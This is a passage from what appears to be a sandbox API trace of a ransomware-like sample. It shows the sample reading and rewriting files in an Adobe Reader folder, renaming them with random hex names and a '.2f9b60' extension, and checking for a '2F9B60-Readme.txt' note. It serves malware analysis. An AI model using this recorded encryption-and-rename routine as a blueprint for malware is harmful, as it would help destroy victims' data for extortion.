hFile=0x165c, lpFileSize=0x27f6f700 | out: lpFileSize=0x27f6f700*=17176) returned 1 [0102.723] SetFilePointerEx (in: hFile=0x165c, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.723] ReadFile (in: hFile=0x165c, lpBuffer=0x27f6f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27f6f6c8, lpOverlapped=0x0 | out: lpBuffer=0x27f6f680*, lpNumberOfBytesRead=0x27f6f6c8*=0x4, lpOverlapped=0x0) returned 1 [0102.728] SetFilePointerEx (in: hFile=0x165c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0102.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a90 [0102.728] NtQuerySystemTime (in: CurrentTime=0x27f6f5c0 | out: CurrentTime=0x27f6f5c0*=132462177082558000) returned 0x0 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x197eaa3d [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0xeee04dc [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x2b995f04 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x7f6eec6d [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x69058e35 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x70fc6445 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x255ce22 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x2f1d6b86 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x6ab96183 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0xd20a2 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0xa336008 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x61694c66 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x6809b12c [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x3feab98b [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x213ac7e4 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x2698a08a [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x51729bc0 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x3491a5f3 [0102.728] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x5137b8d [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x10e96923 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x6ca8627c [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x53af640e [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0xd1dc253 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x67691472 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x78472ac4 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x5826a572 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x30ca34b5 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x64acc613 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x726ffcb7 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x5bc7f2d8 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x18f43646 [0102.729] RtlRandomEx (in: Seed=0x27f6f5b0 | out: Seed=0x27f6f5b0) returned 0x68eae5ed [0102.735] SetFilePointerEx (in: hFile=0x165c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.736] ReadFile (in: hFile=0x165c, lpBuffer=0x202d0130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27f6f620, lpOverlapped=0x0 | out: lpBuffer=0x202d0130*, lpNumberOfBytesRead=0x27f6f620*=0x3c00, lpOverlapped=0x0) returned 1 [0102.773] SetFilePointerEx (in: hFile=0x165c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0102.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0102.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a990 [0102.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a990) returned 1 [0102.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2044a6d0 [0102.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a990 [0102.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b70) returned 1 [0102.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0102.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0102.774] WriteFile (in: hFile=0x165c, lpBuffer=0x2044a6d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27f6f620, lpOverlapped=0x0 | out: lpBuffer=0x2044a6d0*, lpNumberOfBytesWritten=0x27f6f620*=0x3c00, lpOverlapped=0x0) returned 1 [0128.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044a6d0) returned 1 [0128.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202d0130) returned 1 [0128.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced8910 [0128.277] SetFilePointerEx (in: hFile=0x165c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.277] WriteFile (in: hFile=0x165c, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x27f6f6d0, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x27f6f6d0*=0x10c, lpOverlapped=0x0) returned 1 [0128.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867c40 [0128.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced74a0 [0128.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced74a0) returned 1 [0128.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced74a0 [0128.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77a0 [0128.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a10 [0128.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7a10) returned 1 [0128.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 [0128.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9e930 [0128.280] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="1b") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="35") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="46") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="96") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="9f") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="45") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="2f") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="c7") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="63") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="1e") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="48") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="01") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="e6") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="f1") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="f6") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="6d") returned 2 [0128.280] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="84") returned 2 [0128.281] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="b9") returned 2 [0128.281] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="a3") returned 2 [0128.281] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="68") returned 2 [0128.281] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="b1") returned 2 [0128.281] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="72") returned 2 [0128.281] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="5f") returned 2 [0128.281] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="67") returned 2 [0128.281] sprintf (in: _Dest=0x1cd9e960, _Format="%c%c" | out: _Dest="9e") returned 2 [0128.281] sprintf (in: _Dest=0x1cd9e962, _Format="%c%c" | out: _Dest="02") returned 2 [0128.281] RtlInitAnsiString (in: DestinationString=0x27f6f748, SourceString="1b3546969f452fc7631e4801e6f1f66d84b9a368b1725f679e02" | out: DestinationString="1b3546969f452fc7631e4801e6f1f66d84b9a368b1725f679e02") [0128.281] RtlAnsiStringToUnicodeString (in: DestinationString=0x27f6f718, SourceString="1b3546969f452fc7631e4801e6f1f66d84b9a368b1725f679e02", AllocateDestinationString=1 | out: DestinationString="1b3546969f452fc7631e4801e6f1f66d84b9a368b1725f679e02") returned 0x0 [0128.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b867040 [0128.282] wcscat (in: _Dest=0x1b85d020, _Source="1b3546969f452" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\1b3546969f452") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\1b3546969f452" [0128.282] wcscat (in: _Dest=0x1b85d020, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\1b3546969f452.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\1b3546969f452.2f9b60" [0128.282] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\1b3546969f452.2f9b60", NtPathName=0x27f6f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\1b3546969f452.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8615f0 [0128.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) returned 1 [0128.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46600) returned 1 [0128.284] NtQueryInformationFile (in: FileHandle=0x165c, IoStatusBlock=0x27f6f758, FileInformation=0x27f6f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27f6f758, FileInformation=0x27f6f768) returned 0x0 [0128.284] NtSetInformationFile (FileHandle=0x165c, IoStatusBlock=0x27f6f758, FileInformation=0x27f6f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d020) returned 1 [0128.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0128.286] FlushFileBuffers (hFile=0x165c) returned 1 [0128.287] CloseHandle (hObject=0x165c) returned 1 [0128.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867040 [0128.288] wcscpy (in: _Dest=0x1b867040, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.289] wcscat (in: _Dest=0x1b867040, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.289] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867040) returned 1 [0128.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867bc0) returned 1 Thread: id = 890 os_tid = 0x1490 [0101.096] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm")) returned 0x20 [0102.711] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm", dwFileAttributes=0x20) returned 1 [0102.736] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmerus.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1664 [0102.737] GetFileSizeEx (in: hFile=0x1664, lpFileSize=0x2919fb40 | out: lpFileSize=0x2919fb40*=18546) returned 1 [0102.737] SetFilePointerEx (in: hFile=0x1664, liDistanceToMove=0x486e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.737] ReadFile (in: hFile=0x1664, lpBuffer=0x2919fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2919fb08, lpOverlapped=0x0 | out: lpBuffer=0x2919fac0*, lpNumberOfBytesRead=0x2919fb08*=0x4, lpOverlapped=0x0) returned 1 [0102.777] SetFilePointerEx (in: hFile=0x1664, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b70 [0102.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261bb0 [0102.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0102.777] NtQuerySystemTime (in: CurrentTime=0x2919fa00 | out: CurrentTime=0x2919fa00*=132462177083026000) returned 0x0 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x499418a3 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x26d3578c [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x7f13b45f [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x418f8004 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x4d446685 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x6c044933 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x42031d29 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x2e25e094 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x2c4440b3 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x69faa687 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x41563555 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x67691472 [0102.777] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x3d8722a3 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x3e5c12fa [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x356ca999 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x34e455a1 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x4690db23 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x78472ac4 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x41563555 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0xdd082ae [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x6ca8627c [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x15d43c3 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0xf57de7d [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x4e510d9d [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x5826a572 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x3780a7a3 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x8cf7bbe [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x24a14fd9 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x63337327 [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x4da769cf [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x4a2e699b [0102.778] RtlRandomEx (in: Seed=0x2919f9f0 | out: Seed=0x2919f9f0) returned 0x2fd759e3 [0102.786] SetFilePointerEx (in: hFile=0x1664, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.786] ReadFile (in: hFile=0x1664, lpBuffer=0x2044e2e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2919fa60, lpOverlapped=0x0 | out: lpBuffer=0x2044e2e0*, lpNumberOfBytesRead=0x2919fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0102.837] SetFilePointerEx (in: hFile=0x1664, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0102.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e8f0 [0102.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0102.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202627e0) returned 1 [0102.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2045d320 [0102.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627e0 [0102.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e90 [0102.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e90) returned 1 [0102.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e8f0) returned 1 [0102.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0102.838] WriteFile (in: hFile=0x1664, lpBuffer=0x2045d320*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2919fa60, lpOverlapped=0x0 | out: lpBuffer=0x2045d320*, lpNumberOfBytesWritten=0x2919fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0128.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2045d320) returned 1 [0128.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2044e2e0) returned 1 [0128.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85a960 [0128.235] SetFilePointerEx (in: hFile=0x1664, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.235] WriteFile (in: hFile=0x1664, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2919fb10, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x2919fb10*=0x10c, lpOverlapped=0x0) returned 1 [0128.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd90 [0128.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0128.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264e90) returned 1 [0128.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20264e90 [0128.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e60 [0128.238] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264dd0 [0128.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264dd0) returned 1 [0128.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85dd90) returned 1 [0128.239] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9e930 [0128.239] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="6f") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="b3") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="e4") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="76") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="b2") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="24") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="83") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="30") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="05") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="72") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="f0") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="d0") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="b8") returned 2 [0128.239] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="ec") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="d8") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="56") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="64") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="e5") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="98") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="5c") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e958, _Format="%c%c" | out: _Dest="22") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e95a, _Format="%c%c" | out: _Dest="42") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e95c, _Format="%c%c" | out: _Dest="eb") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e95e, _Format="%c%c" | out: _Dest="ff") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e960, _Format="%c%c" | out: _Dest="4d") returned 2 [0128.240] sprintf (in: _Dest=0x1cd9e962, _Format="%c%c" | out: _Dest="ed") returned 2 [0128.240] RtlInitAnsiString (in: DestinationString=0x2919fb88, SourceString="6fb3e476b22483300572f0d0b8ecd85664e5985c2242ebff4ded" | out: DestinationString="6fb3e476b22483300572f0d0b8ecd85664e5985c2242ebff4ded") [0128.240] RtlAnsiStringToUnicodeString (in: DestinationString=0x2919fb58, SourceString="6fb3e476b22483300572f0d0b8ecd85664e5985c2242ebff4ded", AllocateDestinationString=1 | out: DestinationString="6fb3e476b22483300572f0d0b8ecd85664e5985c2242ebff4ded") returned 0x0 [0128.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85f210 [0128.241] wcscat (in: _Dest=0x1b85d020, _Source="6fb3e476b2248" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6fb3e476b2248") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6fb3e476b2248" [0128.241] wcscat (in: _Dest=0x1b85d020, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6fb3e476b2248.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6fb3e476b2248.2f9b60" [0128.241] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6fb3e476b2248.2f9b60", NtPathName=0x2919fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\6fb3e476b2248.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8615f0 [0128.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8615f0) 